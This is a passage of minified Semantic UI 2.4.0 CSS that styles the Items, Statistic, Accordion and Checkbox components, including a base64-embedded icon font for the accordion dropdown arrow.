+ * + */.ui.items>.item{display:-webkit-box;display:-ms-flexbox;display:flex;margin:1em 0;width:100%;min-height:0;background:0 0;padding:0;border:none;border-radius:0;-webkit-box-shadow:none;box-shadow:none;-webkit-transition:-webkit-box-shadow .1s ease;transition:-webkit-box-shadow .1s ease;transition:box-shadow .1s ease;transition:box-shadow .1s ease,-webkit-box-shadow .1s ease;z-index:''}.ui.items>.item a{cursor:pointer}.ui.items{margin:1.5em 0}.ui.items:first-child{margin-top:0!important}.ui.items:last-child{margin-bottom:0!important}.ui.items>.item:after{display:block;content:' ';height:0;clear:both;overflow:hidden;visibility:hidden}.ui.items>.item:first-child{margin-top:0}.ui.items>.item:last-child{margin-bottom:0}.ui.items>.item>.image{position:relative;-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;display:block;float:none;margin:0;padding:0;max-height:'';-ms-flex-item-align:top;align-self:top}.ui.items>.item>.image>img{display:block;width:100%;height:auto;border-radius:.125rem;border:none}.ui.items>.item>.image:only-child>img{border-radius:0}.ui.items>.item>.content{display:block;-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;background:0 0;margin:0;padding:0;-webkit-box-shadow:none;box-shadow:none;font-size:1em;border:none;border-radius:0}.ui.items>.item>.content:after{display:block;content:' ';height:0;clear:both;overflow:hidden;visibility:hidden}.ui.items>.item>.image+.content{min-width:0;width:auto;display:block;margin-left:0;-ms-flex-item-align:top;align-self:top;padding-left:1.5em}.ui.items>.item>.content>.header{display:inline-block;margin:-.21425em 0 0;font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;font-weight:700;color:rgba(0,0,0,.85)}.ui.items>.item>.content>.header:not(.ui){font-size:1.28571429em}.ui.items>.item [class*="left floated"]{float:left}.ui.items>.item [class*="right floated"]{float:right}.ui.items>.item .content img{-ms-flex-item-align:middle;align-self:middle;width:''}.ui.items>.item .avatar img,.ui.items>.item img.avatar{width:'';height:'';border-radius:500rem}.ui.items>.item>.content>.description{margin-top:.6em;max-width:auto;font-size:1em;line-height:1.4285em;color:rgba(0,0,0,.87)}.ui.items>.item>.content p{margin:0 0 .5em}.ui.items>.item>.content p:last-child{margin-bottom:0}.ui.items>.item .meta{margin:.5em 0 .5em;font-size:1em;line-height:1em;color:rgba(0,0,0,.6)}.ui.items>.item .meta *{margin-right:.3em}.ui.items>.item .meta :last-child{margin-right:0}.ui.items>.item .meta [class*="right floated"]{margin-right:0;margin-left:.3em}.ui.items>.item>.content a:not(.ui){color:'';-webkit-transition:color .1s ease;transition:color .1s ease}.ui.items>.item>.content a:not(.ui):hover{color:''}.ui.items>.item>.content>a.header{color:rgba(0,0,0,.85)}.ui.items>.item>.content>a.header:hover{color:#1e70bf}.ui.items>.item .meta>a:not(.ui){color:rgba(0,0,0,.4)}.ui.items>.item .meta>a:not(.ui):hover{color:rgba(0,0,0,.87)}.ui.items>.item>.content .favorite.icon{cursor:pointer;opacity:.75;-webkit-transition:color .1s ease;transition:color .1s ease}.ui.items>.item>.content .favorite.icon:hover{opacity:1;color:#ffb70a}.ui.items>.item>.content .active.favorite.icon{color:#ffe623}.ui.items>.item>.content .like.icon{cursor:pointer;opacity:.75;-webkit-transition:color .1s ease;transition:color .1s ease}.ui.items>.item>.content .like.icon:hover{opacity:1;color:#ff2733}.ui.items>.item>.content .active.like.icon{color:#ff2733}.ui.items>.item .extra{display:block;position:relative;background:0 0;margin:.5rem 0 0;width:100%;padding:0 0 0;top:0;left:0;color:rgba(0,0,0,.4);-webkit-box-shadow:none;box-shadow:none;-webkit-transition:color .1s ease;transition:color .1s ease;border-top:none}.ui.items>.item .extra>*{margin:.25rem .5rem .25rem 0}.ui.items>.item .extra>[class*="right floated"]{margin:.25rem 0 .25rem .5rem}.ui.items>.item .extra:after{display:block;content:' ';height:0;clear:both;overflow:hidden;visibility:hidden}.ui.items>.item>.image:not(.ui){width:175px}@media only screen and (min-width:768px) and (max-width:991px){.ui.items>.item{margin:1em 0}.ui.items>.item>.image:not(.ui){width:150px}.ui.items>.item>.image+.content{display:block;padding:0 0 0 1em}}@media only screen and (max-width:767px){.ui.items:not(.unstackable)>.item{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;margin:2em 0}.ui.items:not(.unstackable)>.item>.image{display:block;margin-left:auto;margin-right:auto}.ui.items:not(.unstackable)>.item>.image,.ui.items:not(.unstackable)>.item>.image>img{max-width:100%!important;width:auto!important;max-height:250px!important}.ui.items:not(.unstackable)>.item>.image+.content{display:block;padding:1.5em 0 0}}.ui.items>.item>.image+[class*="top aligned"].content{-ms-flex-item-align:start;align-self:flex-start}.ui.items>.item>.image+[class*="middle aligned"].content{-ms-flex-item-align:center;align-self:center}.ui.items>.item>.image+[class*="bottom aligned"].content{-ms-flex-item-align:end;align-self:flex-end}.ui.relaxed.items>.item{margin:1.5em 0}.ui[class*="very relaxed"].items>.item{margin:2em 0}.ui.divided.items>.item{border-top:1px solid rgba(34,36,38,.15);margin:0;padding:1em 0}.ui.divided.items>.item:first-child{border-top:none;margin-top:0!important;padding-top:0!important}.ui.divided.items>.item:last-child{margin-bottom:0!important;padding-bottom:0!important}.ui.relaxed.divided.items>.item{margin:0;padding:1.5em 0}.ui[class*="very relaxed"].divided.items>.item{margin:0;padding:2em 0}.ui.items a.item:hover,.ui.link.items>.item:hover{cursor:pointer}.ui.items a.item:hover .content .header,.ui.link.items>.item:hover .content .header{color:#1e70bf}.ui.items>.item{font-size:1em}@media only screen and (max-width:767px){.ui.unstackable.items>.item>.image,.ui.unstackable.items>.item>.image>img{width:125px!important}}/*! + * # Semantic UI 2.4.0 - Statistic + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.statistic{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;margin:1em 0;max-width:auto}.ui.statistic+.ui.statistic{margin:0 0 0 1.5em}.ui.statistic:first-child{margin-top:0}.ui.statistic:last-child{margin-bottom:0}.ui.statistics{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start;-ms-flex-wrap:wrap;flex-wrap:wrap}.ui.statistics>.statistic{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-flex:0;-ms-flex:0 1 auto;flex:0 1 auto;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;margin:0 1.5em 1em;max-width:auto}.ui.statistics{display:-webkit-box;display:-ms-flexbox;display:flex;margin:1em -1.5em -1em}.ui.statistics:after{display:block;content:' ';height:0;clear:both;overflow:hidden;visibility:hidden}.ui.statistics:first-child{margin-top:0}.ui.statistic>.value,.ui.statistics .statistic>.value{font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;font-size:4rem;font-weight:400;line-height:1em;color:#1b1c1d;text-transform:uppercase;text-align:center}.ui.statistic>.label,.ui.statistics .statistic>.label{font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;font-size:1em;font-weight:700;color:rgba(0,0,0,.87);text-transform:uppercase;text-align:center}.ui.statistic>.label~.value,.ui.statistics .statistic>.label~.value{margin-top:0}.ui.statistic>.value~.label,.ui.statistics .statistic>.value~.label{margin-top:0}.ui.statistic>.value .icon,.ui.statistics .statistic>.value .icon{opacity:1;width:auto;margin:0}.ui.statistic>.text.value,.ui.statistics .statistic>.text.value{line-height:1em;min-height:2em;font-weight:700;text-align:center}.ui.statistic>.text.value+.label,.ui.statistics .statistic>.text.value+.label{text-align:center}.ui.statistic>.value img,.ui.statistics .statistic>.value img{max-height:3rem;vertical-align:baseline}.ui.ten.statistics{margin:0 0 -1em}.ui.ten.statistics .statistic{min-width:10%;margin:0 0 1em}.ui.nine.statistics{margin:0 0 -1em}.ui.nine.statistics .statistic{min-width:11.11111111%;margin:0 0 1em}.ui.eight.statistics{margin:0 0 -1em}.ui.eight.statistics .statistic{min-width:12.5%;margin:0 0 1em}.ui.seven.statistics{margin:0 0 -1em}.ui.seven.statistics .statistic{min-width:14.28571429%;margin:0 0 1em}.ui.six.statistics{margin:0 0 -1em}.ui.six.statistics .statistic{min-width:16.66666667%;margin:0 0 1em}.ui.five.statistics{margin:0 0 -1em}.ui.five.statistics .statistic{min-width:20%;margin:0 0 1em}.ui.four.statistics{margin:0 0 -1em}.ui.four.statistics .statistic{min-width:25%;margin:0 0 1em}.ui.three.statistics{margin:0 0 -1em}.ui.three.statistics .statistic{min-width:33.33333333%;margin:0 0 1em}.ui.two.statistics{margin:0 0 -1em}.ui.two.statistics .statistic{min-width:50%;margin:0 0 1em}.ui.one.statistics{margin:0 0 -1em}.ui.one.statistics .statistic{min-width:100%;margin:0 0 1em}.ui.horizontal.statistic{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.ui.horizontal.statistics{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;margin:0;max-width:none}.ui.horizontal.statistics .statistic{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row;-webkit-box-align:center;-ms-flex-align:center;align-items:center;max-width:none;margin:1em 0}.ui.horizontal.statistic>.text.value,.ui.horizontal.statistics>.statistic>.text.value{min-height:0!important}.ui.horizontal.statistic>.value .icon,.ui.horizontal.statistics .statistic>.value .icon{width:1.18em}.ui.horizontal.statistic>.value,.ui.horizontal.statistics .statistic>.value{display:inline-block;vertical-align:middle}.ui.horizontal.statistic>.label,.ui.horizontal.statistics .statistic>.label{display:inline-block;vertical-align:middle;margin:0 0 0 .75em}.ui.red.statistic>.value,.ui.red.statistics .statistic>.value,.ui.statistics .red.statistic>.value{color:#db2828}.ui.orange.statistic>.value,.ui.orange.statistics .statistic>.value,.ui.statistics .orange.statistic>.value{color:#f2711c}.ui.statistics .yellow.statistic>.value,.ui.yellow.statistic>.value,.ui.yellow.statistics .statistic>.value{color:#fbbd08}.ui.olive.statistic>.value,.ui.olive.statistics .statistic>.value,.ui.statistics .olive.statistic>.value{color:#b5cc18}.ui.green.statistic>.value,.ui.green.statistics .statistic>.value,.ui.statistics .green.statistic>.value{color:#21ba45}.ui.statistics .teal.statistic>.value,.ui.teal.statistic>.value,.ui.teal.statistics .statistic>.value{color:#00b5ad}.ui.blue.statistic>.value,.ui.blue.statistics .statistic>.value,.ui.statistics .blue.statistic>.value{color:#2185d0}.ui.statistics .violet.statistic>.value,.ui.violet.statistic>.value,.ui.violet.statistics .statistic>.value{color:#6435c9}.ui.purple.statistic>.value,.ui.purple.statistics .statistic>.value,.ui.statistics .purple.statistic>.value{color:#a333c8}.ui.pink.statistic>.value,.ui.pink.statistics .statistic>.value,.ui.statistics .pink.statistic>.value{color:#e03997}.ui.brown.statistic>.value,.ui.brown.statistics .statistic>.value,.ui.statistics .brown.statistic>.value{color:#a5673f}.ui.grey.statistic>.value,.ui.grey.statistics .statistic>.value,.ui.statistics .grey.statistic>.value{color:#767676}.ui.inverted.statistic .value,.ui.inverted.statistics .statistic>.value{color:#fff}.ui.inverted.statistic .label,.ui.inverted.statistics .statistic>.label{color:rgba(255,255,255,.9)}.ui.inverted.red.statistic>.value,.ui.inverted.red.statistics .statistic>.value,.ui.statistics .inverted.red.statistic>.value{color:#ff695e}.ui.inverted.orange.statistic>.value,.ui.inverted.orange.statistics .statistic>.value,.ui.statistics .inverted.orange.statistic>.value{color:#ff851b}.ui.inverted.yellow.statistic>.value,.ui.inverted.yellow.statistics .statistic>.value,.ui.statistics .inverted.yellow.statistic>.value{color:#ffe21f}.ui.inverted.olive.statistic>.value,.ui.inverted.olive.statistics .statistic>.value,.ui.statistics .inverted.olive.statistic>.value{color:#d9e778}.ui.inverted.green.statistic>.value,.ui.inverted.green.statistics .statistic>.value,.ui.statistics .inverted.green.statistic>.value{color:#2ecc40}.ui.inverted.teal.statistic>.value,.ui.inverted.teal.statistics .statistic>.value,.ui.statistics .inverted.teal.statistic>.value{color:#6dffff}.ui.inverted.blue.statistic>.value,.ui.inverted.blue.statistics .statistic>.value,.ui.statistics .inverted.blue.statistic>.value{color:#54c8ff}.ui.inverted.violet.statistic>.value,.ui.inverted.violet.statistics .statistic>.value,.ui.statistics .inverted.violet.statistic>.value{color:#a291fb}.ui.inverted.purple.statistic>.value,.ui.inverted.purple.statistics .statistic>.value,.ui.statistics .inverted.purple.statistic>.value{color:#dc73ff}.ui.inverted.pink.statistic>.value,.ui.inverted.pink.statistics .statistic>.value,.ui.statistics .inverted.pink.statistic>.value{color:#ff8edf}.ui.inverted.brown.statistic>.value,.ui.inverted.brown.statistics .statistic>.value,.ui.statistics .inverted.brown.statistic>.value{color:#d67c1c}.ui.inverted.grey.statistic>.value,.ui.inverted.grey.statistics .statistic>.value,.ui.statistics .inverted.grey.statistic>.value{color:#dcddde}.ui[class*="left floated"].statistic{float:left;margin:0 2em 1em 0}.ui[class*="right floated"].statistic{float:right;margin:0 0 1em 2em}.ui.floated.statistic:last-child{margin-bottom:0}.ui.mini.statistic>.value,.ui.mini.statistics .statistic>.value{font-size:1.5rem!important}.ui.mini.horizontal.statistic>.value,.ui.mini.horizontal.statistics .statistic>.value{font-size:1.5rem!important}.ui.mini.statistic>.text.value,.ui.mini.statistics .statistic>.text.value{font-size:1rem!important}.ui.tiny.statistic>.value,.ui.tiny.statistics .statistic>.value{font-size:2rem!important}.ui.tiny.horizontal.statistic>.value,.ui.tiny.horizontal.statistics .statistic>.value{font-size:2rem!important}.ui.tiny.statistic>.text.value,.ui.tiny.statistics .statistic>.text.value{font-size:1rem!important}.ui.small.statistic>.value,.ui.small.statistics .statistic>.value{font-size:3rem!important}.ui.small.horizontal.statistic>.value,.ui.small.horizontal.statistics .statistic>.value{font-size:2rem!important}.ui.small.statistic>.text.value,.ui.small.statistics .statistic>.text.value{font-size:1rem!important}.ui.statistic>.value,.ui.statistics .statistic>.value{font-size:4rem!important}.ui.horizontal.statistic>.value,.ui.horizontal.statistics .statistic>.value{font-size:3rem!important}.ui.statistic>.text.value,.ui.statistics .statistic>.text.value{font-size:2rem!important}.ui.large.statistic>.value,.ui.large.statistics .statistic>.value{font-size:5rem!important}.ui.large.horizontal.statistic>.value,.ui.large.horizontal.statistics .statistic>.value{font-size:4rem!important}.ui.large.statistic>.text.value,.ui.large.statistics .statistic>.text.value{font-size:2.5rem!important}.ui.huge.statistic>.value,.ui.huge.statistics .statistic>.value{font-size:6rem!important}.ui.huge.horizontal.statistic>.value,.ui.huge.horizontal.statistics .statistic>.value{font-size:5rem!important}.ui.huge.statistic>.text.value,.ui.huge.statistics .statistic>.text.value{font-size:2.5rem!important}/*! + * # Semantic UI 2.4.0 - Accordion + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.accordion,.ui.accordion .accordion{max-width:100%}.ui.accordion .accordion{margin:1em 0 0;padding:0}.ui.accordion .accordion .title,.ui.accordion .title{cursor:pointer}.ui.accordion .title:not(.ui){padding:.5em 0;font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;font-size:1em;color:rgba(0,0,0,.87)}.ui.accordion .accordion .title~.content,.ui.accordion .title~.content{display:none}.ui.accordion:not(.styled) .accordion .title~.content:not(.ui),.ui.accordion:not(.styled) .title~.content:not(.ui){margin:'';padding:.5em 0 1em}.ui.accordion:not(.styled) .title~.content:not(.ui):last-child{padding-bottom:0}.ui.accordion .accordion .title .dropdown.icon,.ui.accordion .title .dropdown.icon{display:inline-block;float:none;opacity:1;width:1.25em;height:1em;margin:0 .25rem 0 0;padding:0;font-size:1em;-webkit-transition:opacity .1s ease,-webkit-transform .1s ease;transition:opacity .1s ease,-webkit-transform .1s ease;transition:transform .1s ease,opacity .1s ease;transition:transform .1s ease,opacity .1s ease,-webkit-transform .1s ease;vertical-align:baseline;-webkit-transform:none;transform:none}.ui.accordion.menu .item .title{display:block;padding:0}.ui.accordion.menu .item .title>.dropdown.icon{float:right;margin:.21425em 0 0 1em;-webkit-transform:rotate(180deg);transform:rotate(180deg)}.ui.accordion .ui.header .dropdown.icon{font-size:1em;margin:0 .25rem 0 0}.ui.accordion .accordion .active.title .dropdown.icon,.ui.accordion .active.title .dropdown.icon{-webkit-transform:rotate(90deg);transform:rotate(90deg)}.ui.accordion.menu .item .active.title>.dropdown.icon{-webkit-transform:rotate(90deg);transform:rotate(90deg)}.ui.styled.accordion{width:600px}.ui.styled.accordion,.ui.styled.accordion .accordion{border-radius:.28571429rem;background:#fff;-webkit-box-shadow:0 1px 2px 0 rgba(34,36,38,.15),0 0 0 1px rgba(34,36,38,.15);box-shadow:0 1px 2px 0 rgba(34,36,38,.15),0 0 0 1px rgba(34,36,38,.15)}.ui.styled.accordion .accordion .title,.ui.styled.accordion .title{margin:0;padding:.75em 1em;color:rgba(0,0,0,.4);font-weight:700;border-top:1px solid rgba(34,36,38,.15);-webkit-transition:background .1s ease,color .1s ease;transition:background .1s ease,color .1s ease}.ui.styled.accordion .accordion .title:first-child,.ui.styled.accordion>.title:first-child{border-top:none}.ui.styled.accordion .accordion .content,.ui.styled.accordion .content{margin:0;padding:.5em 1em 1.5em}.ui.styled.accordion .accordion .content{padding:0;padding:.5em 1em 1.5em}.ui.styled.accordion .accordion .active.title,.ui.styled.accordion .accordion .title:hover,.ui.styled.accordion .active.title,.ui.styled.accordion .title:hover{background:0 0;color:rgba(0,0,0,.87)}.ui.styled.accordion .accordion .active.title,.ui.styled.accordion .accordion .title:hover{background:0 0;color:rgba(0,0,0,.87)}.ui.styled.accordion .active.title{background:0 0;color:rgba(0,0,0,.95)}.ui.styled.accordion .accordion .active.title{background:0 0;color:rgba(0,0,0,.95)}.ui.accordion .accordion .active.content,.ui.accordion .active.content{display:block}.ui.fluid.accordion,.ui.fluid.accordion .accordion{width:100%}.ui.inverted.accordion .title:not(.ui){color:rgba(255,255,255,.9)}@font-face{font-family:Accordion;src:url(data:application/x-font-ttf;charset=utf-8;base64,AAEAAAALAIAAAwAwT1MvMggjB5AAAAC8AAAAYGNtYXAPfOIKAAABHAAAAExnYXNwAAAAEAAAAWgAAAAIZ2x5Zryj6HgAAAFwAAAAyGhlYWT/0IhHAAACOAAAADZoaGVhApkB5wAAAnAAAAAkaG10eAJuABIAAAKUAAAAGGxvY2EAjABWAAACrAAAAA5tYXhwAAgAFgAAArwAAAAgbmFtZfC1n04AAALcAAABPHBvc3QAAwAAAAAEGAAAACAAAwIAAZAABQAAAUwBZgAAAEcBTAFmAAAA9QAZAIQAAAAAAAAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAABAAADw2gHg/+D/4AHgACAAAAABAAAAAAAAAAAAAAAgAAAAAAACAAAAAwAAABQAAwABAAAAFAAEADgAAAAKAAgAAgACAAEAIPDa//3//wAAAAAAIPDZ//3//wAB/+MPKwADAAEAAAAAAAAAAAAAAAEAAf//AA8AAQAAAAAAAAAAAAIAADc5AQAAAAABAAAAAAAAAAAAAgAANzkBAAAAAAEAAAAAAAAAAAACAAA3OQEAAAAAAQASAEkAtwFuABMAADc0PwE2FzYXFh0BFAcGJwYvASY1EgaABQgHBQYGBQcIBYAG2wcGfwcBAQcECf8IBAcBAQd/BgYAAAAAAQAAAEkApQFuABMAADcRNDc2MzIfARYVFA8BBiMiJyY1AAUGBwgFgAYGgAUIBwYFWwEACAUGBoAFCAcFgAYGBQcAAAABAAAAAQAAqWYls18PPPUACwIAAAAAAM/9o+4AAAAAz/2j7gAAAAAAtwFuAAAACAACAAAAAAAAAAEAAAHg/+AAAAIAAAAAAAC3AAEAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAQAAAAC3ABIAtwAAAAAAAAAKABQAHgBCAGQAAAABAAAABgAUAAEAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAADgCuAAEAAAAAAAEADAAAAAEAAAAAAAIADgBAAAEAAAAAAAMADAAiAAEAAAAAAAQADABOAAEAAAAAAAUAFgAMAAEAAAAAAAYABgAuAAEAAAAAAAoANABaAAMAAQQJAAEADAAAAAMAAQQJAAIADgBAAAMAAQQJAAMADAAiAAMAAQQJAAQADABOAAMAAQQJAAUAFgAMAAMAAQQJAAYADAA0AAMAAQQJAAoANABaAHIAYQB0AGkAbgBnAFYAZQByAHMAaQBvAG4AIAAxAC4AMAByAGEAdABpAG4AZ3JhdGluZwByAGEAdABpAG4AZwBSAGUAZwB1AGwAYQByAHIAYQB0AGkAbgBnAEYAbwBuAHQAIABnAGUAbgBlAHIAYQB0AGUAZAAgAGIAeQAgAEkAYwBvAE0AbwBvAG4ALgADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) format('truetype'),url(data:application/font-woff;charset=utf-8;base64,d09GRk9UVE8AAASwAAoAAAAABGgAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABDRkYgAAAA9AAAAS0AAAEtFpovuE9TLzIAAAIkAAAAYAAAAGAIIweQY21hcAAAAoQAAABMAAAATA984gpnYXNwAAAC0AAAAAgAAAAIAAAAEGhlYWQAAALYAAAANgAAADb/0IhHaGhlYQAAAxAAAAAkAAAAJAKZAedobXR4AAADNAAAABgAAAAYAm4AEm1heHAAAANMAAAABgAAAAYABlAAbmFtZQAAA1QAAAE8AAABPPC1n05wb3N0AAAEkAAAACAAAAAgAAMAAAEABAQAAQEBB3JhdGluZwABAgABADr4HAL4GwP4GAQeCgAZU/+Lix4KABlT/4uLDAeLa/iU+HQFHQAAAHkPHQAAAH4RHQAAAAkdAAABJBIABwEBBw0PERQZHnJhdGluZ3JhdGluZ3UwdTF1MjB1RjBEOXVGMERBAAACAYkABAAGAQEEBwoNVp38lA78lA78lA77lA773Z33bxWLkI2Qj44I9xT3FAWOj5CNkIuQi4+JjoePiI2Gi4YIi/uUBYuGiYeHiIiHh4mGi4aLho2Ijwj7FPcUBYeOiY+LkAgO+92L5hWL95QFi5CNkI6Oj4+PjZCLkIuQiY6HCPcU+xQFj4iNhouGi4aJh4eICPsU+xQFiIeGiYaLhouHjYePiI6Jj4uQCA74lBT4lBWLDAoAAAAAAwIAAZAABQAAAUwBZgAAAEcBTAFmAAAA9QAZAIQAAAAAAAAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAABAAADw2gHg/+D/4AHgACAAAAABAAAAAAAAAAAAAAAgAAAAAAACAAAAAwAAABQAAwABAAAAFAAEADgAAAAKAAgAAgACAAEAIPDa//3//wAAAAAAIPDZ//3//wAB/+MPKwADAAEAAAAAAAAAAAAAAAEAAf//AA8AAQAAAAEAADfYOJZfDzz1AAsCAAAAAADP/aPuAAAAAM/9o+4AAAAAALcBbgAAAAgAAgAAAAAAAAABAAAB4P/gAAACAAAAAAAAtwABAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAEAAAAAtwASALcAAAAAUAAABgAAAAAADgCuAAEAAAAAAAEADAAAAAEAAAAAAAIADgBAAAEAAAAAAAMADAAiAAEAAAAAAAQADABOAAEAAAAAAAUAFgAMAAEAAAAAAAYABgAuAAEAAAAAAAoANABaAAMAAQQJAAEADAAAAAMAAQQJAAIADgBAAAMAAQQJAAMADAAiAAMAAQQJAAQADABOAAMAAQQJAAUAFgAMAAMAAQQJAAYADAA0AAMAAQQJAAoANABaAHIAYQB0AGkAbgBnAFYAZQByAHMAaQBvAG4AIAAxAC4AMAByAGEAdABpAG4AZ3JhdGluZwByAGEAdABpAG4AZwBSAGUAZwB1AGwAYQByAHIAYQB0AGkAbgBnAEYAbwBuAHQAIABnAGUAbgBlAHIAYQB0AGUAZAAgAGIAeQAgAEkAYwBvAE0AbwBvAG4ALgADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) format('woff');font-weight:400;font-style:normal}.ui.accordion .accordion .title .dropdown.icon,.ui.accordion .title .dropdown.icon{font-family:Accordion;line-height:1;-webkit-backface-visibility:hidden;backface-visibility:hidden;font-weight:400;font-style:normal;text-align:center}.ui.accordion .accordion .title .dropdown.icon:before,.ui.accordion .title .dropdown.icon:before{content:'\f0da'}/*! + * # Semantic UI 2.4.0 - Checkbox + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.checkbox{position:relative;display:inline-block;-webkit-backface-visibility:hidden;backface-visibility:hidden;outline:0;vertical-align:baseline;font-style:normal;min-height:17px;font-size:1rem;line-height:17px;min-width:17px}.ui.checkbox input[type=checkbox],.ui.checkbox input[type=radio]{cursor:pointer;position:absolute;top:0;left:0;opacity:0!important;outline:0;z-index:3;width:17px;height:17px}.ui.checkbox .box,.ui.checkbox label{cursor:auto;position:relative;display:block;padding-left:1.85714em;outline:0;font-size:1em}.ui.checkbox .box:before,.ui.checkbox label:before{position:absolute;top:0;left:0;width:17px;height:17px;content:'';background:#fff;border-radius:.21428571rem;-webkit-transition:border .1s ease,opacity .1s ease,-webkit-transform .1s ease,-webkit-box-shadow .1s ease;transition:border .1s ease,opacity .1s ease,-webkit-transform .1s ease,-webkit-box-shadow .1s ease;transition:border .1s ease,opacity .1s ease,transform .1s ease,box-shadow .1s ease;transition:border .1s ease,opacity .1s ease,transform .1s ease,box-shadow .1s ease,-webkit-transform .1s ease,-webkit-box-shadow .1s ease;border:1px solid #d4d4d5}.ui.checkbox .box:after,.ui.checkbox label:after{position:absolute;font-size:14px;top:0;left:0;width:17px;height:17px;text-align:center;opacity:0;color:rgba(0,0,0,.87);-webkit-transition:border .1s ease,opacity .1s ease,-webkit-transform .1s ease,-webkit-box-shadow .1s ease;transition:border .1s ease,opacity .1s ease,-webkit-transform .1s ease,-webkit-box-shadow .1s ease;transition:border .1s ease,opacity .1s ease,transform .1s ease,box-shadow .1s ease;transition:border .1s ease,opacity .1s ease,transform .1s ease,box-shadow .1s ease,-webkit-transform .1s ease,-webkit-box-shadow .1s ease}.ui.checkbox label,.ui.checkbox+label{color:rgba(0,0,0,.87);-webkit-transition:color .1s ease;transition:color .1s ease}.ui.checkbox+label{vertical-align:middle}.ui.checkbox .box:hover::before,.ui.checkbox label:hover::before{background:#fff;border-color:rgba(34,36,38,.35)}.ui.checkbox label:hover,.ui.checkbox+label:hover{color:rgba(0,0,0,.8)}.ui.checkbox .box:active::before,.ui.checkbox label:active::before{background:#f9fafb;border-color:rgba(34,36,38,.35)}.ui.checkbox .box:active::after,.ui.checkbox label:active::after{color:rgba(0,0,0,.95)}.ui.checkbox input:active~label{color:rgba(0,0,0,.95)}.ui.checkbox input:focus~.box:before,.ui.checkbox input:focus~label:before{background:#fff;border-color:#96c8da}.ui.checkbox input:focus~.box:after,.ui.checkbox input:focus~label:after{color:rgba(0,0,0,.95)}.ui.checkbox input:focus~label{color:rgba(0,0,0,.95)}.ui.checkbox input:checked~.box:before,.ui.checkbox input:checked~label:before{background:#fff;border-color:rgba(34,36,38,.35)}.ui.checkbox input:checked~.box:after,.ui.checkbox input:checked~label:after{opacity:1;color:rgba(0,0,0,.95)}.ui.checkbox input:not([type=radio]):indeterminate~.box:before,.ui.checkbox input:not([type=radio]):indeterminate~label:before{background:#fff;border-color:rgba(34,36,38,.35)}.ui.checkbox input:not([type=radio]):indeterminate~.box:after,.ui.checkbox input:not([type=radio]):indeterminate~label:after{opacity:1;color:rgba(0,0,0,.95)}.ui.checkbox input:checked:focus~.box:before,.ui.checkbox input:checked:focus~label:before,.ui.checkbox input:not([type=radio]):indeterminate:focus~.box:before,.ui.checkbox input:not([type=radio]):indeterminate:focus~label:before{background:#fff;border-color:#96c8da}.ui.checkbox input:checked:focus~.box:after,.ui.checkbox input:checked:focus~label:after,.ui.checkbox input:not([type=radio]):indeterminate:focus~.box:after,.ui.checkbox input:not([type=radio]):indeterminate:focus~label:after{color:rgba(0,0,0,.95)}.ui.read-only.checkbox,.ui.read-only.checkbox label{cursor:default}.ui.checkbox input[disabled]~.box:after,.ui.checkbox input[disabled]~label,.ui.disabled.checkbox .box:after,.ui.disabled.checkbox label{cursor:default!important;opacity:.5;color:#000}.ui.checkbox input.hidden{z-index:-1}.ui.checkbox input.hidden+label{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.ui.radio.checkbox{min-height:15px}.ui.radio.checkbox .box,.ui.radio.checkbox label{padding-left:1.85714em}.ui.radio.checkbox .box:before,.ui.radio.checkbox label:before{content:'';-webkit-transform:none;transform:none;width:15px;height:15px;border-radius:500rem;top:1px;left:0}.ui.radio.checkbox .box:after,.ui.radio.checkbox label:after{border:none;content:''!important;width:15px;height:15px;line-height:15px}.ui.radio.checkbox .box:after,.ui.radio.checkbox label:after{top:1px;left:0;width:15px;height:15px;border-radius:500rem;-webkit-transform:scale(.46666667);transform:scale(.46666667);background-color:rgba(0,0,0,.87)}.ui.radio.checkbox input:focus~.box:before,.ui.radio.checkbox input:focus~label:before{background-color:#fff}.ui.radio.checkbox input:focus~.box:after,.ui.radio.checkbox input:focus~label:after{background-color:rgba(0,0,0,.95)}.ui.radio.checkbox input:indeterminate~.box:after,.ui.radio.checkbox input:indeterminate~label:after{opacity:0}.ui.radio.checkbox input:checked~.box:before,.ui.radio.checkbox input:checked~label:before{background-color:#fff}.ui.radio.checkbox input:checked~.box:after,.ui.radio.checkbox input:checked~label:after{background-color:rgba(0,0,0,.95)}.ui.radio.checkbox input:focus:checked~.box:before,.ui.radio.checkbox input:focus:checked~label:before{background-color:#fff}.ui.radio.checkbox input:focus:checked~.box:after,.ui.radio.checkbox 